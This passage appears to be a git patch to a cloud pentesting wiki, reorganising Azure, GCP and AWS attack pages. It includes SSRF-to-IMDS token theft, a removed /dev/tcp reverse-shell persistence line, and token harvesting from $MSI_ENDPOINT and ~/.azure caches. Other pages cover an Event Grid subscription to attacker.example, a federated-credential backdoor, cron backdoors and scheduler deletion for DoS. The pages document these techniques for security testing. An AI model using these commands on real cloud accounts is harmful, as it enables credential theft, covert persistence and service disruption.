--output table az vm extension image list --publisher "Site24x7" --output table ``` +### SSRF to IMDS token theft + +A **server-side request forgery** in a public-facing app running on a VM is an unauthenticated initial-entry path into Azure: the bug forces the VM to query its own **Instance Metadata Service** at `169.254.169.254` and return a **managed-identity token**, turning a web vulnerability into cloud credentials with **no Azure identity at all**. The request must carry the `Metadata: true` header (many SSRF primitives allow header injection, or the vulnerable request builder forwards attacker-controlled headers): + +```bash +# Reached via the SSRF, from the VM's own network position: +http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/ +``` + +The returned bearer token is used against `management.azure.com` / Microsoft Graph exactly as if you were inside the VM. Full technique detail is on the [Cloud SSRF (Azure VM)](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) page. + ## References - [1] [Share Azure Compute Gallery resources with a community gallery | Microsoft Learn](https://learn.microsoft.com/en-us/azure/virtual-machines/share-gallery-community) diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md index aa4bc56e2c..34b804d9e4 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md @@ -32,6 +32,22 @@ gcloud app services set-traffic SERVICE \ The version-specific URL follows `https://VERSION_ID-dot-SERVICE-dot-PROJECT_ID.REGION_ID.r.appspot.com`.[[3]](#references) +### Cron-based persistence (`cron.yaml`) + +App Engine's built-in **Cron service** issues scheduled **HTTP GET** requests to URLs *inside your own app* — the handler runs within the app, as the app's service account. If you can deploy, you can add a `cron.yaml` that periodically hits a backdoor endpoint (or an internal admin path), giving you scheduled, self-triggering execution as the App Engine service account even with no inbound traffic. Cron requests arrive with the header **`X-Appengine-Cron: true`** and originate from Google's internal IPs, so a backdoor handler can distinguish these trusted scheduler calls from public traffic (and defenders can spot unexpected cron entries). + +```yaml +# cron.yaml +cron: +- description: "keepalive" + url: /internal/task + schedule: every 30 minutes +``` + +```bash +gcloud app deploy cron.yaml +``` + ## References - [1] [gcloud app deploy](https://cloud.google.com/sdk/gcloud/reference/app/deploy) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md index 5512f5f854..b5e51a651c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md @@ -129,6 +129,17 @@ gcloud scheduler jobs run atk-sched-pub --location= > [!CAUTION] > A Pub/Sub job storing only `pubsubTarget.topicName` + base64 `data` (no credential of any kind) can be force-run; `AttemptFinished` reports success — the service agent publishes to the topic. The publishing identity is never the caller, so the caller's own Pub/Sub IAM on the topic is irrelevant. +### `cloudscheduler.jobs.delete` | `cloudscheduler.jobs.pause` — Disruption (DoS) + +Scheduler is frequently wired to real infrastructure work — batch pipelines, cleanup routines, backups, token/cert rotation. With `cloudscheduler.jobs.delete` or `cloudscheduler.jobs.pause` an attacker can **delete or pause** the jobs that drive that work, silently halting the downstream operations they depend on. This needs **no code execution and no `actAs`**, and is a low-noise post-exploitation disruption primitive. + +```bash +gcloud scheduler jobs pause --location= +gcloud scheduler jobs delete --location= --quiet +``` + +A paused job stops firing until explicitly resumed (`gcloud scheduler jobs resume`), while a deleted job is gone entirely — either way the downstream pipeline stalls with no obvious error at the target. + > [!NOTE] > **Who actually mints the token / publishes (mechanism).** All delivery-time impersonation and publishing is performed by the **Cloud Scheduler service agent** `service-@gcp-sa-cloudscheduler.iam.gserviceaccount.com` (role `roles/cloudscheduler.serviceAgent`, perms = `iam.serviceAccounts.getAccessToken` + `iam.serviceAccounts.getOpenIdToken` + `pubsub.topics.publish` + `logging.logEntries.create`/`route`). So an attacker **never needs `getOpenIdToken`/`getAccessToken` on the victim SA directly** for the OIDC/OAuth job paths — the enqueuing principal only needs `iam.serviceAccounts.actAs` on the target SA (for HTTP targets), and the Google-managed service agent performs the mint/publish at dispatch. The App Engine and Pub/Sub targets need **not even `actAs`**. As with Cloud Tasks, `roles/editor` bundles `cloudscheduler.jobs.create` + `iam.serviceAccounts.actAs`, making any Editor a full OIDC-token-minter for any project SA plus an actAs-free App Engine/Pub/Sub confused-deputy. From 19a161fd64c77d67b20299357bd2ac3ddef4e93f Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 18 Sep 2026 20:19:12 +0200 Subject: [PATCH 2/2] Reclassify cloud attack techniques and fix navigation --- src/SUMMARY.md | 12 ++++- ...eventbridge-scheduler-post-exploitation.md | 38 ++++++++++++++ .../aws-services/eventbridgescheduler-enum.md | 25 --------- .../az-cloud-shell-persistence.md | 33 ------------ .../az-persistence/az-entraid-persistence.md | 29 +++++++++++ .../az-key-vault-persistence.md | 51 +++++++++++++++++++ .../az-servicebus-persistence.md | 24 +++++++++ .../az-virtual-desktop-persistence.md | 17 +++++++ .../az-cloud-shell-post-exploitation.md | 42 +++++++++++++++ .../az-cosmosDB-post-exploitation.md | 19 ------- .../az-function-apps-post-exploitation.md | 10 ++-- .../az-key-vault-post-exploitation.md | 41 ++------------- .../az-queue-post-exploitation.md | 9 ---- .../az-servicebus-post-exploitation.md | 28 ---------- .../az-sql-post-exploitation.md | 9 ---- .../az-virtual-desktop-post-exploitation.md | 14 ----- .../az-entraid-privesc/README.md | 19 ------- .../az-queue-privesc.md | 11 ++++ .../az-virtual-desktop-privesc.md | 6 +++ .../az-container-registry-unauth.md | 12 ++--- .../az-cosmosdb-unauth.md | 28 ++++++++++ .../az-servicebus-unauth.md | 32 ++++++++++++ .../az-sql-unauth.md | 24 +++++++++ .../gcp-cloud-scheduler-post-exploitation.md | 21 ++++++++ .../gcp-cloudscheduler-privesc.md | 11 ---- 25 files changed, 350 insertions(+), 215 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md create mode 100644 src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md create mode 100644 src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md create mode 100644 src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md create mode 100644 src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md create mode 100644 src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index c1e6f6ab70..cc42b9e142 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -105,6 +105,7 @@ - [GCP - Cloud Domains Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md) - [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md) - [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md) + - [GCP - Cloud Scheduler Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md) - [GCP - Cloud Shell Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md) - [GCP - DLP (Sensitive Data Protection) Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md) - [GCP - Cloud SQL Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md) @@ -384,6 +385,7 @@ - [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md) - [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md) - [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md) + - [AWS - EventBridge Scheduler Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md) - [AWS - Glue Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-glue-post-exploitation/README.md) - [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md) - [AWS resource-policy principal validation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/aws-resource-policy-principal-validation.md) @@ -417,7 +419,7 @@ - [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md) - [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md) - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md) - - [Readme](pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md) + - [AWS - WorkMail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Amplify Hosting Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md) @@ -640,8 +642,11 @@ - [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md) - [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md) - [Az - Container Registry Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md) + - [Az - Cosmos DB Unauthenticated Enumeration](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md) - [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md) - [Az - Storage Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md) + - [Az - Service Bus Initial Entry with Leaked Credentials](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md) + - [Az - SQL Unauthenticated Enumeration & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md) - [Az - VMs Unauth](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md) - [Az - Monitor Alert Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-monitor-alert-phishing.md) - [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) @@ -707,6 +712,7 @@ - [Az API Management Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md) - [Az Azure Ai Foundry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) + - [Az - Cloud Shell Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md) - [Az - Container Registry Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) @@ -781,11 +787,15 @@ - [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md) - [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md) - [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md) + - [Az - Entra ID Persistence](pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md) + - [Az - Key Vault Persistence](pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md) - [Az - Logic Apps Persistence](pentesting-cloud/azure-security/az-persistence/az-logic-apps-persistence.md) + - [Az - Service Bus Persistence](pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md) - [Az - SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md) - [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md) - [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md) - [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md) + - [Az - Virtual Desktop Persistence](pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md) - [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md) - [Digital Ocean Pentesting](pentesting-cloud/digital-ocean-pentesting/README.md) - [DO - Basic Information](pentesting-cloud/digital-ocean-pentesting/do-basic-information.md) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md new file mode 100644 index 0000000000..9ecf93a064 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-scheduler-post-exploitation.md @@ -0,0 +1,38 @@ +# AWS - EventBridge Scheduler Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Disrupt or hijack existing schedules + +`scheduler:DeleteSchedule` can remove automation used for backups, patching, billing exports, or operational jobs. Deletion does not require `iam:PassRole`: + +```bash +aws scheduler delete-schedule --name --group-name +``` + +With `scheduler:UpdateSchedule`, an attacker can disable a schedule or replace its target and input. `UpdateSchedule` is a replace operation, so all required settings must be supplied; omitted optional settings are reset to their defaults. Unlike deletion, updating a schedule also requires `iam:PassRole` for the execution role supplied in `Target.RoleArn`.[[1]](#references)[[2]](#references) + +```bash +# First preserve the settings that should not change. +aws scheduler get-schedule --name --group-name + +# Disable the schedule. Supply its current expression, target, and flexible window. +aws scheduler update-schedule --name --group-name \ + --schedule-expression '' \ + --flexible-time-window '{"Mode":"OFF"}' \ + --target '' \ + --state DISABLED + +# Or redirect execution when PassRole is allowed for the supplied role. +aws scheduler update-schedule --name --group-name \ + --schedule-expression '' \ + --flexible-time-window '{"Mode":"OFF"}' \ + --target '{"Arn":"","RoleArn":"","Input":""}' +``` + +## References + +- [1] [Changing the schedule state in EventBridge Scheduler](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-schedule-state.html) +- [2] [Actions, resources, and condition keys for Amazon EventBridge Scheduler](https://docs.aws.amazon.com/service-authorization/latest/reference/list_scheduler.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index 212cb4934b..f3b0964f9b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -82,31 +82,6 @@ aws scheduler get-schedule --name \ If schedule listing is denied, names can be recovered from IaC, CloudTrail, deployment code, the Scheduler console URL, CI/CD output, tags, or error messages. The default group is literally named `default`, so try it when only a schedule name is known. A visible Secrets Manager ARN or KMS ARN is a locator, not the protected value. -### `scheduler:UpdateSchedule` / `scheduler:DeleteSchedule` — disruption & target hijack - -Write access to an existing schedule is a post-exploitation primitive even without `iam:PassRole`: - -- **Disable / delete critical automation (DoS)** — set a schedule that drives production automation (backups, patching, billing exports, autoscaling triggers) to `--state DISABLED`, or delete it outright. The automation silently stops running with no error surfaced to its owners. - -```bash -# Silently disable a schedule that other systems depend on -aws scheduler update-schedule --name --group-name \ - --schedule-expression '' --flexible-time-window '{"Mode":"OFF"}' \ - --target '' --state DISABLED - -# Or remove it entirely -aws scheduler delete-schedule --name --group-name -``` - -- **Target hijack / data redirect** — repoint an existing schedule's `Target` (ARN + `Input`) to a resource you control (e.g. an SQS queue, SNS topic, or Lambda you own) while keeping the same execution role. On the next fire the role-authorized action runs against attacker-controlled infrastructure, redirecting the data or side effects it was meant to produce. - -```bash -aws scheduler update-schedule --name --group-name \ - --schedule-expression '' --flexible-time-window '{"Mode":"OFF"}' \ - --target '{"Arn":"","RoleArn":"","Input":""}' -``` - - ## EventBridge rule targets Classic EventBridge rules are separate from Scheduler schedules. `events:ListTargetsByRule` returns the targets attached to a known rule, including constant `Input`, input paths/transformers, target role, dead-letter queue, and target-specific parameters.[[13]](#references) diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index b76ee41cad..cbfbc08e6d 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -17,36 +17,6 @@ echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/[[1]](#references) -Cloud Shell automatically authenticates Azure CLI and Azure PowerShell for the signed-in user. It exposes an alternative managed-identity-style endpoint through `$MSI_ENDPOINT` for requesting user tokens for supported audiences; this differs from the `169.254.169.254` IMDS endpoint used by Azure VMs.[[1]](#references)[[5]](#references)[[6]](#references)[[7]](#references) - -```bash -curl -s -G -H "Metadata:true" \ - --data-urlencode "api-version=2018-02-01" \ - --data-urlencode "resource=https://management.azure.com/" \ - "$MSI_ENDPOINT" -``` - -### Steal Microsoft Graph tokens via `$MSI_ENDPOINT` - -The same `$MSI_ENDPOINT` trick works for **any audience**, not just ARM. Requesting a token for the **Microsoft Graph** resource yields a bearer usable against `graph.microsoft.com` (directory, users, groups, app registrations…), which can then be carried off-host and used from your own machine, outliving the 20-minute session: - -```bash -# Microsoft Graph token (same trick, different audience) -curl -s -G -H "Metadata:true" \ - --data-urlencode "api-version=2018-02-01" \ - --data-urlencode "resource=https://graph.microsoft.com/" \ - "$MSI_ENDPOINT" -``` - -### Harvest cached tokens from `~/.azure/` - -As an offline alternative to the live MSI endpoint, the signed-in user's cached tokens and profile sit on disk in the persisted `$HOME` under **`~/.azure/`** — notably `msal_token_cache.json` (refresh/access tokens) and `azureProfile.json` (subscriptions/identity). Grabbing these files gives the same off-host impersonation without ever calling `$MSI_ENDPOINT`, and because `$HOME` is persisted they can be read again from later storage-backed sessions: - -```bash -cat ~/.azure/msal_token_cache.json ~/.azure/azureProfile.json -# exfiltrate both files and replay the tokens from your own machine -``` - ### Cloud Shell Phishing If an attacker has read and write access to the Azure file share backing another user's persistent Cloud Shell, they can tamper with that user's `.cloudconsole/acc_.img`. Microsoft warns that identities with sufficient inherited permissions can access Cloud Shell storage accounts and file shares, and recommends restricting access at the storage-account or subscription level.[[2]](#references) @@ -91,8 +61,5 @@ The final step is to induce the user to start a new session at `https://shell.az - [2] [Persist files in Azure Cloud Shell](https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage) - [3] [Bash Startup Files](https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html) - [4] [Predictive IntelliSense in Azure Cloud Shell](https://learn.microsoft.com/en-us/azure/cloud-shell/cloud-shell-predictive-intellisense) -- [5] [Azure Cloud Shell frequently asked questions](https://learn.microsoft.com/en-us/azure/cloud-shell/faq-troubleshooting) -- [6] [Azure Cloud Shell, az login, and Managed Identity](https://edyoung.github.io/blog/cloud_shell_auth/) -- [7] [Some environment variables in Cloud Shell](https://edyoung.github.io/blog/vars/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md new file mode 100644 index 0000000000..cfd51e2918 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md @@ -0,0 +1,29 @@ +# Az - Entra ID Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## Federated identity credential on an application + +A federated identity credential (FIC) makes an Entra application trust tokens from an external OIDC workload, such as an attacker-controlled GitHub Actions repository or another supported issuer. The external workload can exchange a matching token for an Entra access token as the application's service principal without storing a client secret in Entra.[[1]](#references)[[2]](#references) + +Creating the FIC requires authority over the target application. For Microsoft Graph, delegated creation requires `Application.ReadWrite.All` plus a supported directory role (or ownership where supported), while application access can use `Application.ReadWrite.OwnedBy` for owned applications or `Application.ReadWrite.All` more broadly.[[1]](#references) + +```bash +az ad app federated-credential create --id --parameters '{ + "name": "backdoor-fic", + "issuer": "https://token.actions.githubusercontent.com", + "subject": "repo:attacker/repository:ref:refs/heads/main", + "audiences": ["api://AzureADTokenExchange"] +}' + +az ad app federated-credential list --id +``` + +The issuer, subject, and audience in the external token must exactly match the FIC. The resulting identity receives only permissions already granted to the application's service principal; adding a FIC does not grant new API or Azure RBAC permissions by itself. + +## References + +- [1] [Create federatedIdentityCredential](https://learn.microsoft.com/en-us/graph/api/federatedidentitycredential-post) +- [2] [Workload identity federation](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md new file mode 100644 index 0000000000..a9d4e695b3 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md @@ -0,0 +1,51 @@ +# Az - Key Vault Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## Backdoor a data-plane principal + +With permission to change a vault's access policies or create Azure role assignments at the vault scope, an attacker can grant an identity durable data-plane access. These are control-plane operations; having permission to read secrets alone is insufficient. + +```bash +# Access-policy vault +az keyvault set-policy --name --object-id \ + --secret-permissions get list + +# Azure RBAC vault +az role assignment create --assignee \ + --role "Key Vault Secrets User" \ + --scope "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/" +``` + +## Retain restorable object backups + +Key Vault backup operations return an encrypted blob for an individual key, secret, or certificate. The blob cannot be decrypted offline. It can only be restored to a vault in the **same Azure subscription and Azure geography**, and restoring it requires the corresponding data-plane restore permission.[[1]](#references) + +Within those constraints, retaining a backup can preserve a point-in-time copy after the original object is rotated or deleted. A restored copy is independent of the original. + +```bash +az keyvault secret backup --vault-name --name --file secret.backup +az keyvault key backup --vault-name --name --file key.backup +az keyvault certificate backup --vault-name --name --file certificate.backup +``` + +## Event Grid notification for new versions + +Key Vault emits Event Grid events such as `Microsoft.KeyVault.SecretNewVersionCreated`. A resource-level Event Grid subscription can provide a durable notification channel to an attacker-controlled webhook: + +```bash +az eventgrid event-subscription create --name kv-version-notify \ + --source-resource-id "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/" \ + --endpoint https://attacker.example/webhook \ + --included-event-types Microsoft.KeyVault.SecretNewVersionCreated +``` + +The event contains metadata, not the secret value. Retrieving the new value still requires valid Key Vault data-plane access, and webhook endpoints must complete Event Grid endpoint validation.[[2]](#references)[[3]](#references) + +## References + +- [1] [Back up a secret, key, or certificate stored in Azure Key Vault](https://learn.microsoft.com/en-us/azure/key-vault/general/backup) +- [2] [Azure Key Vault as Event Grid source](https://learn.microsoft.com/en-us/azure/event-grid/event-schema-key-vault) +- [3] [Event Grid webhook event delivery](https://learn.microsoft.com/en-us/azure/event-grid/webhook-event-delivery) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md new file mode 100644 index 0000000000..6a4ad06cad --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md @@ -0,0 +1,24 @@ +# Az - Service Bus Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## Durable copy through a new topic subscription + +A principal with `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` on a topic can create a subscription that receives its own copy of matching messages. New subscriptions have an initial default rule with a true filter, so a separate `1=1` rule is unnecessary unless the default rule has been removed or changed.[[1]](#references)[[2]](#references) + +```bash +az servicebus topic subscription create \ + --resource-group \ + --namespace-name \ + --topic-name \ + --name +``` + +The subscription persists and accumulates a copy of future matching messages until it is removed or its retention limits expire. Creating it does **not** grant data-plane receive access: the attacker still needs a `Listen` credential or an Entra role that can receive from that subscription. Subscription limits, message TTL, auto-delete settings, and namespace network controls also bound the technique. + +## References + +- [1] [Service Bus queues, topics, and subscriptions](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-queues-topics-subscriptions) +- [2] [Set subscription filters in Azure Service Bus](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-filter-examples) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md new file mode 100644 index 0000000000..e602478f85 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md @@ -0,0 +1,17 @@ +# Az - Virtual Desktop Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## FSLogix profile and session-host implants + +With write access to an Azure Virtual Desktop user's FSLogix profile container, an attacker can alter user-level startup locations that are loaded when the profile is attached on later sessions. This can persist across pooled session hosts because the profile container follows the user. The exact payload and permissions depend on the profile's contents, storage ACLs, and endpoint protections.[[1]](#references) + +On a personal or otherwise non-ephemeral session host where the attacker has administrative access, OS-level autoruns or scheduled tasks can instead persist on that VM. This does not automatically persist on rebuilt or replaced pooled hosts. + +These techniques require write access to the profile or host. Merely retrieving a host-pool registration token does not grant that access; registration-token abuse and its additional prerequisites are covered in [Virtual Desktop Privesc](../az-privilege-escalation/az-virtual-desktop-privesc.md). + +## References + +- [1] [FSLogix profile containers in Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/fslogix-profile-container-configure) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md new file mode 100644 index 0000000000..28791e1c49 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md @@ -0,0 +1,42 @@ +# Az - Cloud Shell Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Access tokens from the Cloud Shell session + +Azure Cloud Shell automatically authenticates Azure CLI and Azure PowerShell as the signed-in user. It exposes a local token endpoint through `$MSI_ENDPOINT`; unlike an Azure VM, Cloud Shell does not use the VM IMDS endpoint at `169.254.169.254` for this flow.[[1]](#references)[[2]](#references) + +From code already running in the user's Cloud Shell session, request tokens only for audiences accepted by the endpoint and authorized for that user. For example: + +```bash +# Azure Resource Manager +curl -s -G -H "Metadata:true" \ + --data-urlencode "api-version=2018-02-01" \ + --data-urlencode "resource=https://management.azure.com/" \ + "$MSI_ENDPOINT" + +# Microsoft Graph, when the endpoint and session authorize this audience +curl -s -G -H "Metadata:true" \ + --data-urlencode "api-version=2018-02-01" \ + --data-urlencode "resource=https://graph.microsoft.com/" \ + "$MSI_ENDPOINT" +``` + +The returned bearer token can be replayed off-host until it expires. It does not outlive its token lifetime merely because the Cloud Shell session ends. + +## Azure CLI artifacts in persistent storage + +When persistent Cloud Shell storage is mounted, inspect `~/.azure/` for Azure CLI profile and authentication artifacts such as `azureProfile.json` and an MSAL token cache. File names and whether reusable tokens are present depend on the installed CLI version and authentication flow; do not assume every cache contains an exportable refresh token. + +```bash +find ~/.azure -maxdepth 2 -type f -print +``` + +Copying a reusable token cache is credential theft and post-exploitation. Planting startup commands in the persistent home directory is a separate persistence technique covered in [Cloud Shell Persistence](../az-persistence/az-cloud-shell-persistence.md). + +## References + +- [1] [What is Azure Cloud Shell?](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [2] [Azure Cloud Shell frequently asked questions](https://learn.microsoft.com/en-us/azure/cloud-shell/faq-troubleshooting) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index f9177e2883..299dbfb51c 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -184,25 +184,6 @@ az cosmosdb mongodb database create \ --name ``` -### Discover & confirm accounts by DNS / endpoint suffix - -Every Cosmos endpoint lives on a **globally-unique, guessable** DNS name, so an account name can be permuted/brute-forced against the Cosmos service suffixes to discover accounts and **confirm ownership** (cutting false positives) without any tenant access. Sweep the suffixes for each API variant: - -- NoSQL → `.documents.azure.com` -- MongoDB (RU) → `.mongo.cosmos.azure.com` -- Table → 